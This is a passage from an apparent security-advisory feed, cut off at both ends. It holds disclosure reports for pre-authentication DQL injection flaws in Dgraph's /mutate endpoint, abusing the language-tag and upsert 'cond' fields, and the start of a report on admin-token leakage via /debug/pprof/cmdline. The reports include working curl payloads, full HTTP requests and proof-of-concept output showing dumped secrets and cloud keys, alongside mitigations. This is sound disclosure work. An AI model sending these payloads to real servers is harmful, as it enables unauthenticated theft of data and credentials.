`nq.Lang`)                               |\n| Injection sink        | `edgraph/server.go` line 1808 (`fmt.Sprintf` with `predicateName` containing raw `pred.Lang`)                            |\n| predicateName build   | `edgraph/server.go` line 1780 (`fmt.Sprintf(\"%v@%v\", predicateName, pred.Lang)`)                                         |\n| Auth bypass (query)   | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)                                   |\n| Auth bypass (mutate)  | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)                                |\n| Response exfiltration | `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`)                                       |\n| HTTP port             | 8080 (default)                                                                                                           |\n| Prerequisite          | A predicate with `@unique @index(exact) @lang` in the schema. The attacker can create this via unauthenticated `/alter`. |\n\n\n## 5. Test Environment\n\n\n| Component      | Version / Details                                                  |\n| -------------- | ------------------------------------------------------------------ |\n| Host OS        | macOS (darwin 25.3.0)                                              |\n| Dgraph         | v25.3.0 via `dgraph/dgraph:latest` Docker image                    |\n| Docker Compose | 1 Zero + 1 Alpha, default config, `whitelist=0.0.0.0/0` |\n| Python         | 3.x with `requests`                                                |\n| Network        | localhost (127.0.0.1)                                              |\n\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 1778-1808 (`addQueryIfUnique`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON mutations. When a predicate has the `@unique` directive, the `addQueryIfUnique` function builds a DQL query to check whether the value already exists.\n\nThe JSON chunker at `json_parser.go:524` splits mutation keys on `@` via `x.PredicateLang`:\n\n```go\nnq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)\n```\n\n`PredicateLang` at `x/x.go:919` splits on the last `@` and returns everything after it as the `Lang` string with no validation:\n\n```go\nfunc PredicateLang(s string) (string, string) {\n    i := strings.LastIndex(s, \"@\")\n    if i \u003c= 0 {\n        return s, \"\"\n    }\n    return s[0:i], s[i+1:]\n}\n```\n\n`validateKeys` at `server.go:2142` validates only `nq.Predicate`. It never touches `nq.Lang`:\n\n```go\nfunc validateKeys(nq *api.NQuad) error {\n    if err := validateKey(nq.Predicate); err != nil {\n        return errors.Wrapf(err, \"predicate %q\", nq.Predicate)\n    }\n    for i := range nq.Facets {\n        // ... validates facet keys ...\n    }\n    return nil  // nq.Lang is never checked\n}\n```\n\n`addQueryIfUnique` at `server.go:1778-1808` builds `predicateName` from the predicate and the raw `Lang`, then interpolates it into a DQL query via `fmt.Sprintf`:\n\n```go\npredicateName := fmt.Sprintf(\"\u003c%v\u003e\", pred.Predicate)\nif pred.Lang != \"\" {\n    predicateName = fmt.Sprintf(\"%v@%v\", predicateName, pred.Lang)\n}\n// ...\nquery := fmt.Sprintf(`%v as var(func: eq(%v,\"%v\"))`, queryVar, predicateName, val[1:len(val)-1])\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist applied to `pred.Lang` anywhere between the HTTP input and the `fmt.Sprintf` query construction.\n\nAn attacker crafts a JSON mutation key:\n\n```\nname@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\n```\n\nAfter `PredicateLang` splits on `@`:\n\n- `Predicate` = `name` (passes all validation)\n- `Lang` = `en,\"x\")) leak(func: has(dgraph.type)) { ... } } #` (never validated)\n\nThe constructed DQL becomes:\n\n```dql\n{\n  __dgraph_uniquecheck_0__ as var(func: eq(\u003cname\u003e@en,\"x\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }\n}\n```\n\nThe `#` comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a `var` query (returns empty) and a named `leak` query that exfiltrates all data. The uniqueness check passes (no existing `name@en` equals `\"x\"`), so the mutation succeeds, and the injected query results are returned in `data.queries.leak`.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker creates the required schema via unauthenticated `/alter`:\n\n```\nPOST /alter HTTP/1.1\nHost: TARGET:8080\n\nname: string @unique @index(exact) @lang .\n```\n\nNo `X-Dgraph-AccessToken` header. In default configuration, `/alter` has no authentication when ACL is disabled.\n\n**Step 2.** The attacker sends the injection payload:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n  \"set\": [{\n    \"uid\": \"_:inject\",\n    \"name@en,\\\"x\\\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\": \"anything\"\n  }]\n}\n```\n\n**Step 3.** `mutationHandler` at `http.go:345` parses the JSON body. The key `name@en,...` is treated as predicate `name` with language tag `en,\"x\")) leak(...) } } #`.\n\n**Step 4.** `x.PredicateLang` at `x.go:919` splits the key on the last `@`. The `Predicate` is `name`. The `Lang` is the injection payload.\n\n**Step 5.** `validateKeys` at `server.go:2142` validates only `nq.Predicate` (`name`), which passes. `nq.Lang` is never checked.\n\n**Step 6.** `addQueryIfUnique` at `server.go:1778` constructs `predicateName` by appending the raw `pred.Lang` at line 1780. At line 1808, `fmt.Sprintf` interpolates this into the DQL query string.\n\n**Step 7.** `dql.ParseWithNeedVars` parses the constructed DQL. It encounters the original `var` query and the injected `leak` query. Both are accepted as valid DQL.\n\n**Step 8.** `authorizeQuery` at `access.go:958` returns `nil` because `AclSecretKey == nil` (default). No predicate-level authorization is performed.\n\n**Step 9.** `processQuery` executes both queries. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 10.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates.\n\n## 8. Proof of Concept\n\n### Files\n\n\n| File               | Purpose                                                      |\n| ------------------ | ------------------------------------------------------------ |\n| report.md                  | This vulnerability report                                        |\n| poc.py                     | Exploit: sets up schema, seeds data, injects, prints leak        |\n| docker-compose.yml         | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)    |\n| DGraphPreAuthLangDQL.mp4   | Screen recording of the full attack from start to exfiltration   |\n\nZIP with all the relevant files: \n[DGraphPreAuthDQLLang.zip](https://github.com/user-attachments/files/26002498/DGraphPreAuthDQLLang.zip)\n\n\n### poc.py\n\nThe exploit performs three operations: (1) creates the `@unique @index(exact) @lang` schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Target: http://localhost:8080\n[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique\n\n[+] Schema created: name @unique @index(exact) @lang\n[+] Seed data inserted (4 nodes with secrets)\n[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true\n[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!\n============================================================\n  UID: 0xf5fcd\n  Type: ['dgraph.graphql']\n  Name: N/A\n  Email: N/A\n----------------------------------------\n  UID: 0xf5fce\n  Type: ['Person']\n  Name: Alice\n  Email: alice@example.com\n  SECRET: s3cr3t_alice\n----------------------------------------\n  UID: 0xf5fcf\n  Type: ['Person']\n  Name: Bob\n  Email: bob@corp.com\n  SECRET: bob_password_123\n----------------------------------------\n  UID: 0xf5fd0\n  Type: ['Admin']\n  Name: root\n  Email: admin@internal\n  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE\n----------------------------------------\n  UID: 0xf5fd1\n  Type: ['ServiceAccount']\n  Name: prod-s3-backup\n  Email: infra@corp.com\n  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n----------------------------------------\n============================================================\n\n[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field\n[+] Impact: Full database read access without authentication\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd LEAD_002_DQL_LANG\ndocker compose up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Run the exploit\n\n```bash\npython3 poc.py\n```\n\nThe PoC handles schema creation, data seeding, and exploitation automatically.\n\n### Step 3: Manual reproduction\n\nTo reproduce manually without the PoC script:\n\n```bash\n# Set up schema\ncurl -s -X POST http://localhost:8080/alter -d '\nname: string @unique @index(exact) @lang .\nemail: string @index(exact) .\nsecret: string .\naws_access_key_id: string .\naws_secret_access_key: string .\n'\n\n# Seed data\ncurl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"set\":[\n    {\"dgraph.type\":\"Person\",\"name\":\"Alice\",\"email\":\"alice@example.com\",\"secret\":\"s3cr3t_alice\"},\n    {\"dgraph.type\":\"Admin\",\"name\":\"root\",\"email\":\"admin@internal\",\"secret\":\"ADMIN_MASTER_KEY\"},\n    {\"dgraph.type\":\"ServiceAccount\",\"name\":\"prod-s3-backup\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\n  ]}'\n\n# Exploit: single request exfiltrates everything\ncurl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"set\":[{\"uid\":\"_:x\",\"name@en,\\\"x\\\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\":\"anything\"}]}' \\\n  | python3 -m json.tool\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means\n4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `addQueryIfUnique` (line 1778) and `x/x.go`, `PredicateLang` (line 919)\n\n1. **Validate `nq.Lang`:** Add validation in `validateKeys` (or a new `validateLang` function) that restricts the `Lang` field to BCP 47 language tags: `^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$`. Reject any `Lang` value containing parentheses, braces, quotes, `#`, newlines, or other DQL-significant characters.\n2. **Parameterize DQL queries:** Replace the `fmt.Sprintf` query construction in `addQueryIfUnique` with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.\n3. **Escape at the sink:** If parameterization is not immediately feasible, escape DQL-significant characters (`)`, `{`, `}`, `\"`, `#`, newlines) in both `predicateName` and `val` before interpolation at line 1808.\n4. **Defense in depth:** After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one `var(...)` block per unique predicate. Any additional blocks indicate injection.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-24T15:41:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-x92x-px7w-4gx4","https://nvd.nist.gov/vuln/detail/CVE-2026-41328","https://github.com/advisories/GHSA-x92x-px7w-4gx4"],"source_kind":"github","identifiers":["GHSA-x92x-px7w-4gx4","CVE-2026-41328"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T16:00:08.293Z","updated_at":"2026-10-10T08:05:08.277Z","epss_percentage":0.0048,"epss_percentile":0.39502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTJ4LXB4N3ctNGd4NM4ABVwr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14OTJ4LXB4N3ctNGd4NM4ABVwr","packages":[{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.2.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v24","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 24.1.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv24"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v25","versions":[{"first_patched_version":"25.3.3","vulnerable_version_range":"\u003c 25.3.3"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv25"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OTJ4LXB4N3ctNGd4NM4ABVwr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcnh4LTM5ZzUtcGg3N84ABVwq","url":"https://github.com/advisories/GHSA-mrxx-39g5-ph77","title":"Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field","description":"## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.\n\nThe attack is a single HTTP POST to `/mutate?commitNow=true` containing a crafted `cond` field in an upsert mutation. The `cond` value is concatenated directly into a DQL query string via `strings.Builder.WriteString` after only a cosmetic `strings.Replace` transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the `cond` string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.\n\nThere are no credentials involved. When ACL is disabled (the default), the `/mutate` endpoint requires no authentication. The `authorizeQuery` and `authorizeMutation` functions both return `nil` immediately when `AclSecretKey` is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n| Metric              | Value     | Rationale                                                                          |\n| ------------------- | --------- | ---------------------------------------------------------------------------------- |\n| Attack Vector       | Network   | HTTP POST to port 8080                                                             |\n| Attack Complexity   | Low       | Single request, no special conditions beyond default config                        |\n| Privileges Required | None      | No authentication when ACL is disabled (default)                                   |\n| User Interaction    | None      | Fully automated                                                                    |\n| Scope               | Unchanged | Stays within the Dgraph data layer                                                 |\n| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                  |\n| Integrity           | High      | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic |\n| Availability        | None      | No denial of service                                                               |\n\n## 3. Vulnerability Summary\n\n| Field     | Value                                                                                      |\n| --------- | ------------------------------------------------------------------------------------------ |\n| Title     | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations                      |\n| Type      | Injection                                                                                  |\n| CWE       | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)                  |\n| CVSS      | 9.8                                                                                        |\n\n## 4. Target Information\n\n| Field                | Value                                                                                          |\n| -------------------- | ---------------------------------------------------------------------------------------------- |\n| Project              | Dgraph                                                                                         |\n| Repository           | https://github.com/dgraph-io/dgraph                                                           |\n| Tested version       | v25.3.0                                                                                        |\n| HTTP handler         | `dgraph/cmd/alpha/http.go` line 345 (`mutationHandler`)                                       |\n| Cond extraction      | `dgraph/cmd/alpha/http.go` line 413 (`strconv.Unquote`)                                       |\n| Cond passthrough     | `edgraph/server.go` line 2011 (`ParseMutationObject`, copies `mu.Cond` verbatim)              |\n| Injection sink       | `edgraph/server.go` line 750 (`upsertQB.WriteString(cond)`)                                   |\n| Only transformation  | `edgraph/server.go` line 730 (`strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)`)               |\n| Auth bypass (query)  | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)         |\n| Auth bypass (mutate) | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)      |\n| Response exfiltration| `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`)            |\n| HTTP port            | 8080 (default)                                                                                 |\n| Prerequisite         | None. Default configuration. ACL disabled is the default.                                      |\n\n## 5. Test Environment\n\n| Component            | Version / Details                                               |\n| -------------------- | --------------------------------------------------------------- |\n| Host OS              | macOS (darwin 25.3.0)                                           |\n| Dgraph               | v25.3.0 via `dgraph/dgraph:latest` Docker image                |\n| Docker Compose       | 1 Zero + 1 Alpha, default config, `--security whitelist=0.0.0.0/0` |\n| Python               | 3.x with `requests`                                            |\n| Network              | localhost (127.0.0.1)                                           |\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 714-757 (`buildUpsertQuery`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON bodies containing a `mutations` array. Each mutation can include a `cond` field, intended for conditional upserts with syntax like `@if(eq(name, \"Alice\"))`. This condition is supposed to be spliced into the DQL query as a `@filter` clause on a dummy `var(func: uid(0))` block.\n\nThe handler at `http.go:413` extracts the `cond` value via `strconv.Unquote`, which interprets `\\n` as actual newlines but performs no sanitization:\n\n```go\nmu.Cond, err = strconv.Unquote(string(condText.bs))\n```\n\n`ParseMutationObject` at `server.go:2011` copies it verbatim:\n\n```go\nres := \u0026dql.Mutation{Cond: mu.Cond}\n```\n\n`buildUpsertQuery` at `server.go:730` applies one cosmetic replacement then concatenates the raw string directly into the DQL query:\n\n```go\ncond := strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)\n// ...\nx.Check2(upsertQB.WriteString(cond))\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.\n\nAn attacker crafts a `cond` value that closes the `@filter(...)` clause and opens an entirely new named query block:\n\n```\n@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid name email secret }\n```\n\nAfter `buildUpsertQuery` processes this, the resulting DQL is:\n\n```dql\n{\n  q(func: uid(0x1)) { uid }\n  __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid name email secret }\n}\n```\n\nThe DQL parser (`dql.ParseWithNeedVars`) accepts multiple query blocks within a single `{}` container. It parses `leak(...)` as a legitimate named query. The `validateResult` function at `parser.go:740` only checks for duplicate aliases and explicitly skips `var` queries. The injected query uses a unique alias, so validation passes.\n\nAll three queries execute. The results of the injected `leak` block are serialized to JSON and returned to the attacker at `http.go:498`:\n\n```go\nmp[\"queries\"] = json.RawMessage(resp.Json)\n```\n\nThe `@if` condition evaluates to false (`\"nonexistent\"` matches nothing), so the `set` mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker sends one HTTP request:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n  \"query\": \"{ q(func: uid(0x1)) { uid } }\",\n  \"mutations\": [{\n    \"set\": [{\"uid\": \"0x1\", \"dgraph.type\": \"Dummy\"}],\n    \"cond\": \"@if(eq(name, \\\"nonexistent\\\"))\\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }\"\n  }]\n}\n```\n\nNo `X-Dgraph-AccessToken` header. No `X-Dgraph-AuthToken` header. The `/mutate` endpoint has no authentication wrapper in default configuration.\n\n**Step 2.** `mutationHandler` at `http.go:345` calls `readRequest` to get the body, then `extractMutation` which calls `strconv.Unquote` on the `cond` field. The `\\n` becomes a real newline. The result is stored in `api.Mutation.Cond`.\n\n**Step 3.** The request enters `edgraph.Server.QueryNoGrpc` at `http.go:471`, which calls `doQuery` -\u003e `parseRequest` -\u003e `ParseMutationObject`. The `Cond` is copied verbatim to `dql.Mutation.Cond` at `server.go:2011`.\n\n**Step 4.** `buildUpsertQuery` at `server.go:714` processes the condition. The only transformation is `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730. The full string, including the injected `leak(...)` block, is written into the query builder at line 750.\n\n**Step 5.** `dql.ParseWithNeedVars` parses the constructed DQL string. It encounters three query blocks: `q`, the upsert check `var`, and the injected `leak`. All three are accepted as valid DQL.\n\n**Step 6.** `authorizeQuery` at `access.go:958` returns `nil` immediately because `AclSecretKey == nil` (ACL not configured). No predicate-level authorization is performed.\n\n**Step 7.** `processQuery` executes all three query blocks. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 8.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates, including secrets, credentials, and PII.\n\n## 8. Proof of Concept\n\n### Files\n\n| File                    | Purpose                                                    |\n| ----------------------- | ---------------------------------------------------------- |\n| report.md               | This vulnerability report                                  |\n| poc.py                  | Exploit: sends the injection and prints leaked data        |\n| docker-compose.yml      | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) |\n| DGraphPreAuthDQL.mp4    | Screen recording of the full attack from start to exfiltration |\n\nPOC files zip:\n[LEAD_001_DQL.zip](https://github.com/user-attachments/files/25996009/LEAD_001_DQL.zip)\n\n\n### poc.py\n\nThe exploit sends a single POST to `/mutate?commitNow=true` with the crafted `cond` field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Sending crafted upsert mutation with DQL injection in cond field …\n[*] HTTP 200\n[+] SUCCESS — Injected query returned 5 node(s):\n\n  [User] uid=0x1\n    name: Alice Admin\n    email: alice@corp.com\n    secret: SSN-123-45-6789\n    role: admin\n\n  [User] uid=0x2\n    name: Bob User\n    email: bob@corp.com\n    secret: SSN-987-65-4321\n    role: user\n\n  [User] uid=0x3\n    name: Eve Secret\n    email: eve@corp.com\n    secret: API_KEY_sk-live-abc123xyz\n    role: superadmin\n\n  [CloudCredential] uid=0x4\n    name: prod-aws-credentials\n    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n  [CloudCredential] uid=0x5\n    name: gcp-bigquery-service-account\n    GCP_SERVICE_ACCOUNT_KEY: {\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGI…\n\n[+] CRITICAL — Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection\n    → 1 AWS credential(s) — attacker can access AWS account\n    → 1 GCP service account key(s) — attacker can access GCP project\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd report\ndocker compose -f docker-compose-test.yml up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Seed test data\n\n```bash\ncurl -s -X POST http://localhost:8080/alter -d '\nname: string @index(exact) .\nemail: string @index(exact) .\nsecret: string .\nrole: string .\naws_access_key_id: string .\naws_secret_access_key: string .\ngcp_service_account_key: string .\n'\n\ncurl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"set\":[\n    {\"dgraph.type\":\"User\",\"name\":\"Alice Admin\",\"email\":\"alice@corp.com\",\"secret\":\"SSN-123-45-6789\",\"role\":\"admin\"},\n    {\"dgraph.type\":\"User\",\"name\":\"Bob User\",\"email\":\"bob@corp.com\",\"secret\":\"SSN-987-65-4321\",\"role\":\"user\"},\n    {\"dgraph.type\":\"User\",\"name\":\"Eve Secret\",\"email\":\"eve@corp.com\",\"secret\":\"API_KEY_sk-live-abc123xyz\",\"role\":\"superadmin\"},\n    {\"dgraph.type\":\"CloudCredential\",\"name\":\"prod-aws-credentials\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"},\n    {\"dgraph.type\":\"CloudCredential\",\"name\":\"gcp-bigquery-service-account\",\"gcp_service_account_key\":\"{\\\"type\\\":\\\"service_account\\\",\\\"project_id\\\":\\\"prod-analytics\\\",\\\"private_key\\\":\\\"-----BEGIN RSA PRIVATE KEY-----\\\\nEXAMPLEKEY\\\\n-----END RSA PRIVATE KEY-----\\\",\\\"client_email\\\":\\\"bigquery@prod-analytics.iam.gserviceaccount.com\\\"}\"}\n  ]}'\n```\n\n### Step 3: Run the exploit\n\n```bash\ncd LEAD_001_DQL\npython3 poc.py\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)\n4. No data was modified in the database (the `@if` condition prevents the `set` from executing)\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `buildUpsertQuery` (line 714)\n\nInstead of concatenating the raw `cond` string into the DQL query, `buildUpsertQuery` should parse the `cond` value with the DQL lexer and construct the `@filter` as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-24T15:41:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3","https://nvd.nist.gov/vuln/detail/CVE-2026-41327","https://github.com/advisories/GHSA-mrxx-39g5-ph77"],"source_kind":"github","identifiers":["GHSA-mrxx-39g5-ph77","CVE-2026-41327"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T16:00:08.293Z","updated_at":"2026-09-28T20:03:52.551Z","epss_percentage":0.00475,"epss_percentile":0.38593,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnh4LTM5ZzUtcGg3N84ABVwq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcnh4LTM5ZzUtcGg3N84ABVwq","packages":[{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.2.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v24","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 24.1.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv24"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v25","versions":[{"first_patched_version":"25.3.3","vulnerable_version_range":"\u003c 25.3.3"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv25"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnh4LTM5ZzUtcGg3N84ABVwq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NW1xLXh3ajQtcjQ3cM4ABVYr","url":"https://github.com/advisories/GHSA-95mq-xwj4-r47p","title":"Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints","description":"### Summary\nAn unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from `--security \"token=...\"`.\n\nThis does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in `X-Dgraph-AuthToken`.\n\n### Details\nThe behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.\n\nThe core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.\n\nRelevant code paths:\n- `dgraph/cmd/alpha/run.go:17` imports `net/http/pprof`, which registers `/debug/pprof/*` handlers on the default mux.\n- `dgraph/cmd/alpha/run.go:533` uses `http.Handle(\"/\", audit.AuditRequestHttp(baseMux))`, so default-mux handlers remain reachable.\n- `dgraph/cmd/alpha/admin.go:52` enforces admin token checks in `adminAuthHandler` for admin endpoints.\n- `dgraph/cmd/alpha/admin.go:74` shows `/admin/config/cache_mb` behind `adminAuthHandler`.\n\nCredential-exposure chain:\n1. `/debug/pprof/cmdline` is reachable without authentication.\n2. Its output includes the configured admin token from process arguments.\n3. The disclosed token is accepted by `adminAuthHandler` when sent as `X-Dgraph-AuthToken`.\n4. An attacker gains unauthorized access to admin-only functionality.\n\nObserved local evidence (safe validation):\n- Request: `GET /admin/config/cache_mb` without token\n  - Status: 200 (request rejected at application layer)\n  - Body contains error: `Invalid X-Dgraph-AuthToken`\n  - The endpoint returns HTTP 200 but indicates authentication failure in the response body.\n- Request: `GET /debug/pprof/cmdline` without token\n  - Status: 200\n  - Body excerpt includes: `--security=token=TopSecretToken123;`\n- Request: `GET /admin/config/cache_mb` with `X-Dgraph-AuthToken: TopSecretToken123`\n  - Status: 200\n  - Body: `4096`\n\nImportant policy/triage clarification:\n- This issue persists even when the admin-token security feature is enabled: the token itself is exposed via an unauthenticated core debug endpoint, making this more than a misconfiguration-only concern.\n- Network restrictions (bind/whitelist/firewall) may reduce exposure, but they do not 